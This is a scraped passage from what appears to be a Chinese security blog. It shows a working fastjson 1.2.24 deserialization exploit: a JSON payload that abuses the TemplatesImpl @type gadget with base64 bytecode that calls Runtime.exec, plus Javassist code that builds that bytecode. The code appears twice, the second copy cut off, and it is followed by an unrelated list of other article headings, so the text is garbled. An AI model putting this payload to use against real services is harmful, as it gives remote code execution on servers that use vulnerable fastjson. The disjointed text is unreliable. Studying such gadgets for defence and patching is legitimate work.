      "yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
    ],
    "_name": "aaa",
    "_tfactory": {},
    "_outputProperties": {}
  }
}

{

"rand1": {

"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",

"_bytecodes": [

"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"

"_name": "aaa",

"_tfactory": {},

"_outputProperties": {}

}

测试（jdk=8u102，fastjson=1.2.24）：

package com.longofo.test;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;

public class Test3 {
    public static void main(String[] args) throws Exception {
        String evilCode_base64 = readClass();
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String payload = "{'rand1':{" +
                "\"@type\":\"" + NASTY_CLASS + "\"," +
                "\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
                "'_name':'aaa'," +
                "'_tfactory':{}," +
                "'_outputProperties':{}" +
                "}}\n";
        System.out.println(payload);
        //JSON.parse(payload, Feature.SupportNonPublicField); 成功
        //JSON.parseObject(payload, Feature.SupportNonPublicField); 成功
        //JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功
        //JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功
    }

    public static class AaAa {

    }

    public static String readClass() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get(AaAa.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "AaAa" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
        byte[] evilCode = cc.toBytecode();

        return Base64.encodeBase64String(evilCode);

    }
}

package com.longofo.test;

import com.alibaba.fastjson.JSON;

import com.alibaba.fastjson.parser.Feature;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import javassist.ClassPool;

import javassist.CtClass;

import org.apache.commons.codec.binary.Base64;

public class Test3 {

public static void main(String[] args) throws Exception {

String evilCode_base64 = readClass();

final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

String payload = "{'rand1':{" +

"\"@type\":\"" + NASTY_CLASS + "\"," +

"\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +

"'_name':'aaa'," +

"'_tfactory':{}," +

"'_outputProperties':{}" +

"}}\n";

System.out.println(payload);

//JSON.parse(payload, Feature.SupportNonPublicField); 成功

//JSON.parseObject(payload, Feature.SupportNonPublicField); 成功

//JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功

//JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功

}

public static class AaAa {

}

public static String readClass() throws Exception {

ClassPool pool = ClassPool.getDefault();

CtClass cc = pool.get(AaAa.class.getName());

String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

cc.makeClassInitializer().insertBefore(cmd);

String randomClassName = "AaAa" + System.nanoTime();

cc.setName(randomClassName);

cc.setSuperclass((pool.get(AbstractTranslet.class.getN

核心与功能设计

ZoomEye minitools

ZoomEye preview

完成插件

上传插件到chrome store

Zoomeye Tools 使用全解

安装

使用方法

zoomeye 辅助工具

Zoomeye Preview

写在最后

Load data infile

构造恶意服务端

poc

演示

影响范围

底层应用

探针

云服务商 云数据库 数据迁移服务

Excel online sql查询

拓展？2RCE！

任意文件读 with 配置文件泄露

任意文件读 to 反序列化

复现

反序列化 to RCE

dedecms 后台反序列化漏洞 to SSRF

部分CMS测试结果

修复方式

说在最后

REF

JODD序列化与反序列化

Liferay对JODD的包装

JSONSerializerImpl

JSONDeserializerImpl

Liferay 漏洞分析

补丁分析

环境搭建

GNS3的使用说明

研究Cisco交换机

使用scapy发送CDP包

触发漏洞

漏洞利用

关于序列化/反序列化机制

基于Bean属性访问机制

基于Field机制

Hessian简介

Hessian概念图

Hessian反序列化过程

获取目标类型反序列化器

获取目标类型各属性反序列化器

判断目标类型是否定义了readResolve()方法

为目标类型分配对象

目标类型对象属性值的恢复

以InnerMap属性恢复为例

Hessian的几条利用链分析

SpringPartiallyComparableAdvisorHolder

Rome

小结

Apache Dubbo反序列化简单分析

Apache Dubbo Http反序列化

Apache Dubbo Dubbo反序列化

参考

测试环境

漏洞diff

路由以及对应的处理类

一般路由

API路由

buildConstraintViolationWithTemplate造成的几次Java EL漏洞

CVE-2018-16621分析

CVE-2020-10204分析

CVE-2020-10199分析

CleanupPolicyAssetNamePatternValidator未做清除点分析

JXEL造成的漏洞（CVE-2019-7238）

总结

0x00 漏洞背景

0x01 漏洞利用原理

0x02 获取Token

0x03 压缩数据

0x04 调试

0x05 提权

云服务商云数据库数据迁移服务